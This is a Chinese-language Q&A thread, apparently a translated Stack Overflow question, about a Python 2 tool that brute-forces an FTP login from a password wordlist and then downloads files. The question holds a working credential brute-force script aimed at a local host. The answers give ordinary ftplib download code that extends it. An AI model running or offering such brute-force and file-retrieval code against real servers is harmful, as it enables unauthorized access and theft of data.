Question

我构建了这个简单的工具来暴力破解并连接到ftp服务器

import socket
import ftplib
from ftplib import FTP

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"


ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

目前该工具正常工作（我在文件列表中设置了正确的密码第3位） - 当我登录时，我得到了这个输出：

port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py

从这里，我想要的是允许用户（我）检索文件1个特定文件或所有文件 - 但我不知道最简单的方法是什么

选择本身的1或全部，我可以做，（按1复制全部 - >;）但命令本身要复制全部或只是一个，如果一个然后根据我不知道怎么做。

编辑：将Xendrm建议的内容添加到代码中就是这样：

Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
  File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
    download(j)
  File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
    ftp.retrbinary("RETR " + files[j],f)
  File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
    conn = self.transfercmd(cmd, rest)
  File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
    return self.ntransfercmd(cmd, rest)[0]
  File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
    resp = self.sendcmd(cmd)
  File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
    return self.getresp()
  File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
    raise error_perm, resp
error_perm: 550 Failed to open file.

Answer 1

好的，经过多次试验和错误，我发现了如何做到这一点。 - 这个脚本将获取所选目录中的每个文件 - 没有弄清楚如何从所有子目录中获取所有文件，但这已经足够好了 - 将留给这里以供将来人们查看。

from ftplib import FTP
import os # allows me to use os.chdir

port=21
ip="192.168.1.108"
password='123'

os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input

ftp.cwd(directory)

for filename in ftp.nlst(filematch): # Loop - looking for matching files
    fhandle = open(filename, 'wb')
    print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
    ftp.retrbinary('RETR ' + filename, fhandle.write)
    fhandle.close()

作为证明，这是从上面代码收到的输出：

File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py

Answer 2

首先，您需要先了解ftp协议，然后再做一些严肃的事情。举个例子，你可以这样做：

from ftplib import FTP

port=21
ip="127.0.0.1"
password = "a@a.a"
user = "Anonymous"

ftp = FTP(ip)
ftp.login(user,password)

files = ftp.nlst()

for i,v in enumerate(files,1):
    print i,"->",v

i = int(raw_input("Type a number for download or type 0 for all\n"))

def f(s):
    #save the chuck of data in s
    print s

def download(j):
    print "downloading=>",files[j]
    ftp.retrbinary("RETR " + files[j],f)
    #or ftp.retrlines("RETR " + files[j],f) for ascii files

if i==0:
    for j in range(len(files)):
        download(j)
elif i>0 and i<=len(files):
    download(i-1)

Answer 3

试试这个：

import argparse
import os
from ftplib import FTP

def parse_args():
    ''' parse and check command line arguments '''
    ap = argparse.ArgumentParser(description="FTP Utility")
    ap.add_argument('-hh', dest='host', help="Host name")
    ap.add_argument('-u', dest='uname', help="user name")
    ap.add_argument('-p', dest='pwd', help="user password")
    ap.add_argument('-rd', dest='remote_dir', help="Path to remote directory")
    ap.add_argument('-ld', dest='local_dir', help="Path to local directory")
    ap.add_argument(dest='files', help="File names", nargs='+')
    return ap.parse_args()

def is_empty(file):
    file_size=os.stat(file).st_size
    if file_size == 0:
        print "The file {} is empty".format(file)
        return True
    return False

args=parse_args()

host_name=args.host
user_name=args.uname
user_pwd=args.pwd
remote_dir=args.remote_dir
local_dir=args.local_dir
files=args.files

ftp=FTP(host_name)
ftp.login(user_name, user_pwd)
ftp.cwd(remote_dir)

for file in files:
    try:
        local_filename = os.path.join(local_dir, file)
        print "Getting filename "+file
        ftp.retrbinary('RETR %s' % file, open(local_filename, 'wb').write)
        print "Saving at %s" % local_filename
    except Exception, err:
        print err
        if (is_empty(local_filename)):
            os.remove(local_filename)
        continue

ftp.quit()

我已经使用了很长一段时间了。如果您经常从一台计算机进行FTP，只需对host_name，user_name等的值进行硬编码。

使用Python连接从FTP检索文件

3 个答案: